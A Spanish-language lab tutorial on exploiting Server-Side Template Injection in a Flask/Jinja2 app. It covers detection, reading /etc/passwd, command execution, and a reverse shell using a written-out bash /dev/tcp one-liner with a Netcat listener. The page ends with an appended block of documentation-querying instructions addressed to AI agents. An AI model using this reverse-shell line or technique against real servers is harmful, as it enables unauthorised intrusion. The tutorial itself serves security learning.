# Server-Side Template Injection (SSTI)

El **Server-Side Template Injection** (**SSTI**) es una vulnerabilidad de seguridad en la que un atacante puede inyectar código malicioso en una **plantilla** de servidor.

Las plantillas de servidor son archivos que contienen código que se utiliza para generar **contenido dinámico** en una aplicación web. Los atacantes pueden aprovechar una vulnerabilidad de SSTI para inyectar código malicioso en una plantilla de servidor, lo que les permite ejecutar comandos en el servidor y obtener acceso no autorizado tanto a la aplicación web como a posibles datos sensibles.

En un caso práctico, los atacantes pueden detectar si una aplicación Flask está en uso, por ejemplo, utilizando herramientas como **WhatWeb**. Si un atacante detecta que una aplicación **Flask** está en uso, puede intentar explotar una vulnerabilidad de **SSTI**, ya que Flask utiliza el motor de plantillas **Jinja2**, que es vulnerable a este tipo de ataque.

Para los atacantes, detectar una aplicación Flask o Python puede ser un primer paso en el proceso de intentar explotar una vulnerabilidad de SSTI. Sin embargo, los atacantes también pueden intentar identificar vulnerabilidades de SSTI en otras aplicaciones web que utilicen diferentes frameworks de plantillas, como Django, Ruby on Rails, entre otros.

Yo para practicar me montare un contenedor con docker, tambien puedes practicar el la maquina [GoodGames](https://app.hackthebox.com/machines/GoodGames) de HackThe Box.

<figure><img src="/files/hf19PJrMRAbN6cJnyW15" alt=""><figcaption></figcaption></figure>

Empezamos en el contenedor que yo tengo montado tenemos un input de usuario.

<figure><img src="/files/rERPlSXRYHmUGZPIVg4q" alt=""><figcaption></figcaption></figure>

Si lanzamos a **WhatWeb** detecta Python como plantilla.&#x20;

<figure><img src="/files/iUlNdZowVXnlQnFFNT97" alt=""><figcaption></figcaption></figure>

Si en el input hacemos un computo de 7x7 y la web nos lo interpreta es decir que la web compute esa multiplicacion que en este caso seria 49, nos estaria dando la pista que es vulnerable a SSTI.

<figure><img src="/files/9Hv8vAAcmZ7E3DD4FjEC" alt=""><figcaption></figcaption></figure>

Nos computa la multiplicacion nos dice hola 49. La web plantilla o como quieras es vulnerable a SSTI.

<figure><img src="/files/2BBGsCK133o9npaz8p4g" alt=""><figcaption></figcaption></figure>

Sabiendo que ya es vulnerable a SSTI nos vamos ah [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2). Para probar de todo tipo hasta encontrar la forma de leer archivos o ganar acceso a la maquina.

<figure><img src="/files/ZeKDVC9K1igCfwFnxBBF" alt=""><figcaption></figcaption></figure>

Si ejecutamos este Payload observamos que somos capaces de leer el /etc/passwd de la maquina.

<figure><img src="/files/969t4BYBdgIC0C6mJI4q" alt=""><figcaption></figcaption></figure>

Pero si ejecutamos este Payload que seria el equivalente a una cmd donde controlamos la tarea que queremos que se ejecute a nivel de sistema.

<figure><img src="/files/JZnGaTh8G5ZY0rRRTDlR" alt=""><figcaption></figcaption></figure>

Si le pasamos whoami para ver quienes somos nos lo interpreta y nos dice root, nos dice root porque estamos exponiendo la web atravez de un contenedor pero normalmente siempre te dira www-data.

Teniendo todo esto ahora solo es cuestion de ganar acceso al sistema.

<figure><img src="/files/inl4gDM3Jb4AMgJKV4xm" alt=""><figcaption></figcaption></figure>

Ganamos acceso al sistema usando la tipica instruccion de *<mark style="color:red;">**bash -c "bash -i >& /dev/tcp/IP/Port >&1".**</mark>*

El & esta URL Encoding ah %26 ya que ese es su equivalente.

<figure><img src="/files/hABorM88dyyAbKQ8jyOt" alt=""><figcaption></figcaption></figure>

Ahora nos ponemos en escucha con Netcat y ganamos acceso al sistema.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://rodgar.gitbook.io/rodgar/othe/owasp-top-10/server-side-template-injection-ssti.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
